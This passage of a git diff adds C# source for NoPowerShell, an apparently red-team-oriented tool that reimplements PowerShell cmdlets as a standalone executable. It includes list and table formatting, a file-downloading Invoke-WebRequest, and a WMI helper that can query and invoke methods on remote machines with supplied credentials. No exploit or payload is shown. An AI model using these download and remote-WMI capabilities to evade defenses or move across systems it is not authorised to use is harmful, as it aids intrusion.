(result.ContainsKey(attr)) + newResult.Add(attr, result[attr]); + else + newResult.Add(attr, null); + } + + _results.Add(newResult); + } + } + + ResultPrinter.OutputResults(_results); + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Format-List", "fl" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Property", string.Empty) + }; + } + } + + public static new string Synopsis + { + get { return "Formats the output as a list of properties in which each property appears on a new line."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Utility/FormatTableCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Utility/FormatTableCommand.cs new file mode 100644 index 0000000..4db2822 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Utility/FormatTableCommand.cs @@ -0,0 +1,73 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class FormatTableCommand : PSCommand + { + public FormatTableCommand(string[] arguments) : base(arguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + string[] properties = _arguments.Get("Property").Value.Split(','); + + _results.Output = CommandResult.OutputType.Table; + + foreach (ResultRecord result in pipeIn) + { + // Show all columns + if (properties[0] == string.Empty) + _results.Add(result); + + // Show only specific columns + else + { + ResultRecord newResult = new ResultRecord(); + + foreach (string attr in properties) + { + if (result.ContainsKey(attr)) + newResult.Add(attr, result[attr]); + else + newResult.Add(attr, null); + } + + _results.Add(newResult); + } + } + + ResultPrinter.OutputResults(_results); + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Format-Table", "ft" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Property", string.Empty) + }; + } + } + + public static new string Synopsis + { + get { return "Formats the output as a table."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Utility/InvokeWebRequestCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Utility/InvokeWebRequestCommand.cs new file mode 100644 index 0000000..1dec342 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Utility/InvokeWebRequestCommand.cs @@ -0,0 +1,69 @@ +using System; +using System.IO; +using System.Net; +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class InvokeWebRequest : PSCommand + { + public InvokeWebRequest(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + string uri = _arguments.Get("URI").Value; + string outfile = _arguments.Get("OutFile").Value; + + // Try to automatically determine filename + if (string.IsNullOrEmpty(outfile)) + { + Uri href = new Uri(uri); + outfile = Path.GetFileName(href.LocalPath); + } + + // If still empty, use "out" as filename + if (string.IsNullOrEmpty(outfile)) + outfile = "out"; + + // Known issues: + // - TLS 1.1+ is not supported by .NET Framework 2, so any site enforcing it will result in a connection error + using (WebClient client = new WebClient()) + { + client.DownloadFile(uri, outfile); + } + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Invoke-WebRequest", "curl", "iwr", "wget" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("URI", null), + new StringArgument("OutFile", null, true) + }; + } + } + + public static new string Synopsis + { + get { return "Gets content from a web page on the Internet."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Utility/SelectObjectCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Utility/SelectObjectCommand.cs new file mode 100644 index 0000000..034736d --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Utility/SelectObjectCommand.cs @@ -0,0 +1,61 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class SelectObjectCommand : PSCommand + { + public SelectObjectCommand(string[] arguments) : base(arguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + string[] attributes = _arguments.Get("Property").Value.Split(','); + + foreach (ResultRecord result in pipeIn) + { + ResultRecord newResult = new ResultRecord(); + + foreach (string attr in attributes) + { + if (result.ContainsKey(attr)) + newResult.Add(attr, result[attr]); + else + newResult.Add(attr, null); + } + + _results.Add(newResult); + } + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Select-Object", "select" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Property", null) + }; + } + } + + public static new string Synopsis + { + get { return "Selects objects or object properties."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/HelperClasses/CaseInsensitiveList.cs b/Source/NoPowerShell/NoPowerShell/HelperClasses/CaseInsensitiveList.cs new file mode 100644 index 0000000..833d618 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/HelperClasses/CaseInsensitiveList.cs @@ -0,0 +1,25 @@ +using System; +using System.Collections.Generic; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.HelperClasses +{ + public class CaseInsensitiveList : List + { + public new bool Contains(string item) + { + foreach (string s in this) + { + if (s.Equals(item, StringComparison.InvariantCultureIgnoreCase)) + return true; + } + + return false; + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/HelperClasses/CommandResult.cs b/Source/NoPowerShell/NoPowerShell/HelperClasses/CommandResult.cs new file mode 100644 index 0000000..b3cc1c1 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/HelperClasses/CommandResult.cs @@ -0,0 +1,32 @@ +using System.Collections.Generic; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.HelperClasses +{ + public class CommandResult : List + { + public enum OutputType { List, Table, Auto }; + private OutputType _output; + + public CommandResult(int capacity) : base(capacity) + { + _output = OutputType.Auto; + } + + public CommandResult() : base() + { + _output = OutputType.Auto; + } + + public OutputType Output + { + get { return _output; } + set { _output = value; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/HelperClasses/PipeParser.cs b/Source/NoPowerShell/NoPowerShell/HelperClasses/PipeParser.cs new file mode 100644 index 0000000..e0b3d01 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/HelperClasses/PipeParser.cs @@ -0,0 +1,62 @@ +using System; +using System.Collections.Generic; +using NoPowerShell.Commands; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.HelperClasses +{ + class PipeParser + { + public static List ParseArguments(string[] args, Dictionary commandTypes) + { + List> parsedPipes = new List>(); + List currentPipe = new List(); + + // Split pipes + foreach (string arg in args) + { + if (arg == "|") + { + parsedPipes.Add(currentPipe); + currentPipe = new List(); + } + else + { + currentPipe.Add(arg); + } + } + parsedPipes.Add(currentPipe); + + // Parse commands between pipes + List allCommands = new List(parsedPipes.Count); + foreach (List pipe in parsedPipes) + { + string command = pipe[0].ToLowerInvariant(); + string[] pipeargs = pipe.GetRange(1, pipe.Count - 1).ToArray(); + + // Locate the command in the aliases of the available commands + bool foundMatchingCommand = false; + foreach (KeyValuePair commandType in commandTypes) + { + if (commandType.Value.Contains(command)) + { + object[] parameters = new object[] { pipeargs }; + allCommands.Add((PSCommand)Activator.CreateInstance(commandType.Key, parameters)); + foundMatchingCommand = true; + break; + } + } + + if (!foundMatchingCommand) + throw new ArgumentException("Unknown command"); + } + + return allCommands; + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/HelperClasses/ReflectionHelper.cs b/Source/NoPowerShell/NoPowerShell/HelperClasses/ReflectionHelper.cs new file mode 100644 index 0000000..922c406 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/HelperClasses/ReflectionHelper.cs @@ -0,0 +1,41 @@ +using System; +using System.Collections.Generic; +using System.Reflection; +using NoPowerShell.Commands; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.HelperClasses +{ + class ReflectionHelper + { + /// + /// Using reflection determine available commands + /// + /// List of commands + public static Dictionary GetCommands() + { + Dictionary commandTypes = new Dictionary(); + foreach (Type t in Assembly.GetExecutingAssembly().GetTypes()) + { + if (t.BaseType == typeof(PSCommand)) + { + CaseInsensitiveList aliases = null; + PropertyInfo aliasProperty = t.GetProperty("Aliases", BindingFlags.Static | BindingFlags.Public); + if (aliasProperty != null) + aliases = (CaseInsensitiveList)aliasProperty.GetValue(null, null); + else + aliases = new CaseInsensitiveList(); + + commandTypes.Add(t, aliases); + } + } + + return commandTypes; + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/HelperClasses/ResultPrinter.cs b/Source/NoPowerShell/NoPowerShell/HelperClasses/ResultPrinter.cs new file mode 100644 index 0000000..a4ccf57 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/HelperClasses/ResultPrinter.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Generic; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.HelperClasses +{ + public class ResultPrinter + { + public static void OutputResults(CommandResult results) + { + if (results == null) + return; + + switch (results.Output) + { + case CommandResult.OutputType.List: + FormatList(results); + break; + case CommandResult.OutputType.Table: + FormatTable(results); + break; + default: + AutoFormat(results); + break; + } + } + + public static void AutoFormat(CommandResult results) + { + // In case of raw data output without headings + if (results.Count == 1 && results[0].ContainsKey(string.Empty)) + FormatRaw(results); + // Only single row result + else if (results.Count == 1) + FormatList(results); + // List of results + else + FormatTable(results); + } + + private static void FormatRaw(CommandResult results) + { + string rawOutput = results[0][string.Empty]; + Console.Write(rawOutput); + } + + public static void FormatTable(CommandResult results) + { + // No results + if (results.Count == 0) + return; + + Dictionary columns = CalcColumnWidths(results); + + // Print header + int columnCount = columns.Count; + int currentCol = 0; + string separator = string.Empty; + foreach (string column in columns.Keys) + { + currentCol++; + + string paddedSeparator = new string('-', column.Length) + new string(' ', columns[column] - column.Length + 1); + string paddedValue = column.PadRight(columns[column]); + + // The most right column does not need to be padded + if (columnCount == currentCol) + { + paddedSeparator = new string('-', column.Length); + paddedValue = column; + } + separator += paddedSeparator; + + Console.Write("{0} ", paddedValue); + } + Console.WriteLine(); + Console.WriteLine(separator); + + // Print data + foreach (ResultRecord row in results) + { + currentCol = 0; + foreach (string column in columns.Keys) + { + currentCol++; + string value = row[column.Trim()]; + + if (value == null) + value = string.Empty; + + // The most right column does not need to be padded + string paddedValue = value.PadRight(columns[column] + 1); + if (currentCol == columnCount) + paddedValue = value; + + Console.Write(paddedValue); + } + Console.WriteLine(); + } + } + + public static void FormatList(CommandResult results) + { + // No results + if (results.Count == 0) + return; + + Dictionary columns = CalcColumnWidths(results); + + // Determine maximum column width + int maxColumnLength = -1; + foreach (string column in columns.Keys) + { + if (column.Length > maxColumnLength) + maxColumnLength = column.Length; + } + + // Print data + foreach (ResultRecord result in results) + { + foreach (string column in columns.Keys) + { + Console.WriteLine("{0} : {1}", column.PadRight(maxColumnLength), result[column]); + } + Console.WriteLine(); + } + } + private static Dictionary CalcColumnWidths(CommandResult results) + { + Dictionary columnWidths = new Dictionary(results[0].Keys.Count); + + foreach (string key in results[0].Keys) + { + columnWidths.Add(key, key.Length); + } + + string[] columnNames = new string[columnWidths.Count]; + columnWidths.Keys.CopyTo(columnNames, 0); + + // Iterate over results in output + foreach (ResultRecord result in results) + { + // Iterate over columns of reach result + foreach (string key in columnNames) + { + string value = result[key]; + if (value == null) + continue; + + if (value.Length > columnWidths[key]) + columnWidths[key] = value.Length; + } + } + + return columnWidths; + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/HelperClasses/ResultRecord.cs b/Source/NoPowerShell/NoPowerShell/HelperClasses/ResultRecord.cs new file mode 100644 index 0000000..3efe0f4 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/HelperClasses/ResultRecord.cs @@ -0,0 +1,21 @@ +using System.Collections.Generic; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.HelperClasses +{ + public class ResultRecord : Dictionary + { + public ResultRecord() : base() + { + } + + public ResultRecord(int capacity, IEqualityComparer comparer) : base(capacity, comparer) + { + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/HelperClasses/WmiHelper.cs b/Source/NoPowerShell/NoPowerShell/HelperClasses/WmiHelper.cs new file mode 100644 index 0000000..ba4a5be --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/HelperClasses/WmiHelper.cs @@ -0,0 +1,147 @@ +using System; +using System.Collections.Generic; +using System.Management; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.HelperClasses +{ + class WmiHelper + { + public static CommandResult ExecuteWmiQuery(string wmiQuery) + { + return ExecuteWmiQuery(@"ROOT\CIMV2", wmiQuery); + } + + public static CommandResult ExecuteWmiQuery(string wmiNamespace, string wmiQuery) + { + return ExecuteWmiQuery(wmiNamespace, wmiQuery, ".", null, null); + } + + public static CommandResult ExecuteWmiQuery(string wmiNamespace, string wmiQuery, string computerName, string username, string password) + { + CommandResult queryResults = null; + + ManagementScope scope = GetScope(wmiNamespace, computerName, username, password); + + ObjectQuery query = new ObjectQuery(wmiQuery); + ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query); + + ManagementObjectCollection queryCollection = searcher.Get(); + Dictionary columns = new Dictionary(StringComparer.InvariantCultureIgnoreCase); + queryResults = new CommandResult(queryCollection.Count); + + // Determine column order + int start = wmiQuery.ToLower().IndexOf("select") + "select".Length; + int length = wmiQuery.ToLower().IndexOf(" from") - start; + string columns_string = wmiQuery.Substring(start, length); + string[] dirty_columns = columns_string.Split(','); + foreach (string col in dirty_columns) + columns.Add(col.Trim(), col.Trim().Length); + + // Case of SELECT * + bool wildCardSelect = false; + if (columns.ContainsKey("*")) + { + columns = new Dictionary(StringComparer.InvariantCultureIgnoreCase); + wildCardSelect = true; + } + + // Collect data + foreach (ManagementObject m in queryCollection) + { + ResultRecord result = new ResultRecord(m.Properties.Count, StringComparer.InvariantCultureIgnoreCase); + + // Case of SELECT * + if (wildCardSelect) + { + foreach (PropertyData data in m.Properties) + { + columns.Add(data.Name, data.Name.Length); + } + wildCardSelect = false; + } + + // Prepare order of columns + foreach (string column in columns.Keys) + result.Add(column, null); + + // Collect attributes + foreach (PropertyData data in m.Properties) + { + string key = data.Name; + string value = string.Empty; + if (data.Value != null) + { + if (data.Value.GetType() == typeof(string[])) + value = string.Join(", ", (string[])data.Value); + else + value = Convert.ToString(data.Value); + } + + result[key] = value; + } + + queryResults.Add(result); + } + + return queryResults; + } + + public static CommandResult InvokeWmiMethod(string wmiNamespace, string wmiClass, string methodName, string methodArguments, string computerName, string username, string password) + { + CommandResult invokeResults = new CommandResult(1); + + ManagementScope scope = GetScope(wmiNamespace, computerName, username, password); + ManagementClass mgmtClass = new ManagementClass(scope.Path.Path, wmiClass, null); + MethodData method = mgmtClass.Methods[methodName]; + + // -1 because ReturnValue does not count + int paramCount = method.InParameters.Properties.Count + method.OutParameters.Properties.Count - 1; + + // Invoke the method + object[] methodArgs = new object[paramCount]; + methodArgs[0] = methodArguments; // TODO, it should be possible to provide more arguments + object returnValue = mgmtClass.InvokeMethod(methodName, methodArgs); + + // Store the ReturnValue + ResultRecord outParams = new ResultRecord(); + outParams.Add("ReturnValue", Convert.ToString(returnValue)); + + // Store other outParams + int i = method.InParameters.Properties.Count; + foreach (PropertyData param in method.OutParameters.Properties) + { + // ReturnValue is not stored in the methodarguments, + // but instead is just the return value of the InvokeMethod method + if (param.Name == "ReturnValue") + continue; + + outParams.Add(param.Name, Convert.ToString(methodArgs[i])); + i++; + } + + invokeResults.Add(outParams); + + return invokeResults; + } + + private static ManagementScope GetScope(string wmiNamespace, string computerName, string username, string password) + { + ConnectionOptions options = new ConnectionOptions() + { + Impersonation = ImpersonationLevel.Impersonate, + Username = username, + Password = password + }; + ManagementScope scope = new ManagementScope(string.Format(@"\\{0}\{1}", computerName, wmiNamespace), options); + scope.Connect(); + + return scope; + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/NoPowerShell.csproj b/Source/NoPowerShell/NoPowerShell/NoPowerShell.csproj new file mode 100644 index 0000000..b2f8530 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/NoPowerShell.csproj @@ -0,0 +1,83 @@ + + + + + Debug + AnyCPU + {555AD0AC-1FDB-4016-8257-170A74CB2F55} + Exe + NoPowerShell + NoPowerShell + v2.0 + 512 + true + + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Source/NoPowerShell/NoPowerShell/Program.cs b/Source/NoPowerShell/NoPowerShell/Program.cs new file mode 100644 index 0000000..a197acb --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Program.cs @@ -0,0 +1,62 @@ +using System; +using System.Collections.Generic; +using NoPowerShell.Commands; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell +{ + class Program + { + static int Main(string[] args) + { + // Using reflection determine available commands + Dictionary availableCommands = ReflectionHelper.GetCommands(); + List userCommands = null; + + // If no arguments are provided to the executable, show help + if (args.Length == 0) + { + Console.WriteLine("== NoPowerShell v1.0 ==\r\nUrl: Website: https://github.com/bitsadmin\r\nUsage: NoPowerShell.exe [Command] [Parameters] | [Command2] [Parameters2] etc.\r\n"); + userCommands = new List(1) { new GetCommandCommand(null) }; + } + // Parse pipes in commandline arguments and commands within pipes + else + { + userCommands = PipeParser.ParseArguments(args, availableCommands); + } + + // Add output to console if no explicit output is provided + Type lastCommand = userCommands[userCommands.Count - 1].GetType(); + bool justOutput = false; + if (lastCommand != typeof(FormatListCommand) && lastCommand != typeof(FormatTableCommand)) + justOutput = true; + + CommandResult result = null; + try + { + // Execute commands in pipeline + foreach (PSCommand command in userCommands) + { + result = command.Execute(result); + } + } + catch (Exception e) + { + Console.Write(e.ToString()); + return -1; + } + + // Output to screen + if (justOutput) + ResultPrinter.OutputResults(result); + + return 0; + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Properties/AssemblyInfo.cs b/Source/NoPowerShell/NoPowerShell/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..748c8cd --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("NoPowerShell")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("Bitsadmin")] +[assembly: AssemblyProduct("NoPowerShell")] +[assembly: AssemblyCopyright("Copyright © 2018")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("555ad0ac-1fdb-4016-8257-170a74cb2f55")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")]